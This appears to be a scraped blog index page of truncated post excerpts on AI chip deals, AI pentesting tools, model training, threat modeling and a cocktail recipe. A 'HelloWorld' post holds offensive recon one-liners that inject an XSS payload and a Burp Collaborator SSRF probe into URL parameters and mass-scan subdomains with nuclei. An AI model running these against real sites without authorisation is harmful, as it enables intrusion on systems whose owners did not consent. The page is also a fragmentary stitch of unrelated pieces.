NVIDIA's $20 Billion Groq Deal: Acquisition in Everything But Name

On December 24, 2025, NVIDIA announced what may be the most strategically brilliant deal in recent tech history: a $20 billion “licensing agreement” with AI chip startup Groq. But make no mistake—this is an acquisition in everything but name, and it reveals both the sophistication of Jensen Huang’s playbook and the growing consolidation of AI infrastructure.

The Deal Structure: A Masterclass in Regulatory Maneuvering

Jensen Huang was careful with his words: “While we are adding talented employees to our ranks and licensing Groq’s IP, we are not acquiring Groq as a company.”

XBOW and the Rise of Autonomous AI Pentesting

In June 2025, something unprecedented happened in the cybersecurity world: an AI system reached the number one spot on HackerOne’s global leaderboard, outperforming thousands of human hackers. That system was XBOW, and it marks a fundamental shift in how we think about penetration testing.

What is XBOW?

XBOW is an AI-powered penetration testing platform developed by Oege de Moor (a GitHub veteran) and a team of security experts. Unlike traditional automated scanners that follow predefined rules, XBOW uses hundreds of AI agents working in parallel to discover, validate, and exploit vulnerabilities without human intervention.

Open Source AI Pentesting Tools: Building Your Autonomous Security Arsenal

While commercial platforms like XBOW make headlines, a vibrant ecosystem of open-source AI pentesting tools has emerged. These projects are democratizing autonomous security testing, allowing security teams and researchers to experiment with cutting-edge techniques without enterprise budgets.

Here’s your guide to the most promising open-source AI pentesting tools in 2025.

PentestGPT: The Pioneer

GitHub: GreyDGL/PentestGPT

PentestGPT pioneered the use of generative AI in penetration testing back in 2023. Presented at the 33rd USENIX Security Symposium in 2024, it remains one of the most respected open-source AI security assistants.

Reinforcement Learning with Verifiable Rewards: A New Paradigm for Security AI

In 2025, Reinforcement Learning from Verifiable Rewards (RLVR) emerged as the de facto new major stage in LLM training. Pioneered by DeepSeek’s R1 model and rapidly adopted across the industry, RLVR represents a fundamental shift in how we train AI systems—with profound implications for security applications.

The Problem with Traditional Reward Models

Traditional Reinforcement Learning from Human Feedback (RLHF) relies on training a reward model from human preferences. This approach has several limitations:

A Privacy-First Email Guardian: Building Your Personal Spam Defender

How many times have you clicked “Find messages like this” in Gmail, hoping to clean your inbox from that one persistent marketing campaign? While Gmail’s built-in tools are helpful, they often lack the precision and automation capabilities that could make your email management truly effortless.

The Solution

I’ve built a privacy-focused email monitor that leverages n8n’s automation platform and Ollama’s local language model to create a personalized email classification system. The beauty of this setup? It runs entirely on your local machine, ensuring your email content never leaves your network.

vLLM Production Stack: Succeed on Kubernetes

Introduction

The vLLM Production Stack is a new open-source reference implementation that extends the vLLM project into production settings. This stack offers a turnkey way to deploy Large Language Models (LLMs) on Kubernetes or other cloud environments. It brings together the power of Helm charts, Grafana, and Prometheus to simplify observability and scaling for multiple LLMs.

In this post, we’ll explore the key features of the vLLM Production Stack and highlight how it addresses real-time monitoring, caching, and performance in production.

Voice Coding: Let Your Words Write Your Code

Ever dreamed of coding by simply talking to your computer like a modern-day wizard? While Cursor may not have a built-in microphone (sorry, no built-in wizardry here), our trusty sidekick SuperWhisper swoops in to convert your brilliant verbal commands into text. Think of it as your personal code translator—only cooler and with fewer side effects!

How It Works: The Dynamic Duo

1. SuperWhisper: Your Voice-to-Text Sidekick

• Enable Coding Mode:
  Open SuperWhisper’s settings and create a custom mode (like “Python Coding” or “Web Development”). Set a keyboard shortcut (say, ⌥ + Spacebar) to jump into dictation mode. Now, you’re ready to command your code like a boss.

  Read more

Welcome to Digitowl's Tech Insights

Welcome to Digitowl’s Tech Insights blog! Here, we’ll be sharing our knowledge and expertise about cybersecurity, artificial intelligence, and emerging technologies that are shaping our digital future.

What to Expect

Our blog will cover various topics including:

• Cybersecurity best practices and trends
• Artificial Intelligence and Machine Learning developments
• Technology insights and industry analysis
• Practical tips and guides for businesses
• Case studies and success stories

Join the Conversation

We encourage you to engage with our content, share your thoughts, and join the discussion. Your insights and questions help create a vibrant community of technology enthusiasts and professionals.

GPTMeetsStride

The Idea: Integrating Python Libraries for Advanced Threat Modeling with STRIDE GPT “Enhancing Threat Modeling with Python: Leveraging STRIDE GPT Integration” Explore the seamless integration of Python libraries like PyPDF2, Presidio Analyzer, and Langchain Core with STRIDE GPT for advanced threat modeling. Discover how automation through these tools can streamline threat identification and mitigation strategies, enhancing the overall security analysis process. “Protecting Privacy in Threat Modeling Workflows: A Guide to Anonymizing Private Data with Python” Delve into the critical aspect of safeguarding private data while leveraging large language models (LLMs) for threat modeling. Learn practical methods using Python libraries such as Faker, Presidio Anonymizer, and Langchain Experimental Data Anonymizer to effectively anonymize sensitive information, ensuring compliance with privacy regulations. “Optimizing Threat Modeling with Advanced NLP Techniques: Harnessing OpenAI Embeddings and Spacy” Explore the convergence of natural language processing (NLP) and threat modeling through the integration of Python libraries. Discover the potential of Python libraries like OpenAI Embeddings and Spacy in providing context-aware insights and semantic understanding to enhance threat modeling workflows. Conclusion: These articles collectively highlight the synergy between Python libraries and STRIDE GPT, offering a comprehensive approach to advanced threat modeling. By integrating these tools, organizations can streamline their security analysis processes, protect privacy, and optimize threat identification and mitigation strategies effectively.

owls

AI - GENAI - ML - stuff to be read:

• https://github.com/cckuailong/awesome-gpt-security

• https://bit.ly/3WNRS9d

• http://bit.ly/3EsyEQ8

• https://bit.ly/4aRH6EK

OldFashioned

The Art of the Old Fashioned

The Old Fashioned, often touted as the archetypal cocktail, is steeped in history and tradition. Its roots date back to the early 19th century, when a cocktail was defined as a stimulating liquor composed of spirits of any kind, sugar, water, and bitters. Over the years, the Old Fashioned has undergone various permutations, yet the core essence of this timeless concoction remains intact.

Traditional Old Fashioned

The classic Old Fashioned is a simple blend that lets its components shine. It primarily consists of a base spirit, sugar to offset the harshness, bitters to add complexity, and water to dilute.

HelloWorld

Let’s see how this works.

Notes.

~%$: echo testphp.vulnweb.com | httpx -silent | hakrawler -subs | grep "=" | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)" | egrep -v 'Not'

How about an ssrf one:

~%$: findomain -t DOMAIN -q | httpx -silent -threads 1000 | gau |  grep "=" | qsreplace http://YOUR.burpcollaborator.net

Scratch this.:

~%$: xargs -a domain -I@ -P500 sh -c 'shuffledns -d "@" -silent -w words.txt -r resolvers.txt' | httpx -silent -threads 1000 | nuclei -t /root/nuclei-templates/ -o re1

Randonm git.:

git status | grep 'deleted:' | sed 's/deleted:    //' | xargs git rm

The Future of Threat Modeling: Leveraging Generative AI

Introduction

Imagine a world where your threat modeling team could instantaneously predict an attacker’s next move, devise swift countermeasures, and learn adaptively from new vulnerabilities. This isn’t the plot of a futuristic novel; it’s the potential of integrating Generative AI into your threat modeling processes. Let’s dissect this confluence of traditional cybersecurity practices with cutting-edge AI technology.

Building a Robust Threat Modeling Team with Generative AI

In today’s rapidly evolving digital landscape, IT systems are intricate mazes. Navigating this labyrinth, threat modeling stands as a beacon, guiding teams to pinpoint vulnerabilities before they can be exploited. However, the human element, while invaluable, has its limitations. Enter Generative AI (GenAI) - the force multiplier in this equation.

Coming Soon.